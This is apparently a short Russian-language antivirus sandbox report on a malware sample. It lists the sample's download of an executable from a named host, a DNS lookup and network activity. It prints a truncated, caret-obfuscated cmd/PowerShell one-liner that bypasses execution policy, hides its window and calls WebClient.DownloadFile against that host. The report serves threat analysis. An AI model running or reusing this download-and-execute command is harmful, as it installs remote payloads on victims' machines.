Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://bestflowstou.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "Po^We^RS^HEL^L.e^xE -exeC^UtiO^N^pO^LICY^ BYp^aS^S ^-^NO^P^roF^I^L^e -^Wi^nd^o^ws^T^y^Le ^HI^d^D^e^N (^New^-^ObJ^EcT ^SYSTeM.NeT.^wEbCLIENT)^.DowN^lOA^Dfile('http://bestflowst...
Сетевая активность
UDP
- DNS ASK be####owstou.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "Po^We^RS^HEL^L.e^xE -exeC^UtiO^N^pO^LICY^ BYp^aS^S ^-^NO^P^roF^I^L^e -^Wi^nd^o^ws^T^y^Le ^HI^d^D^e^N (^New^-^ObJ^EcT ^SYSTeM.NeT.^wEbCLIENT)^.DowN^lOA^Dfile('http://bestflowst...' (со скрытым окном)
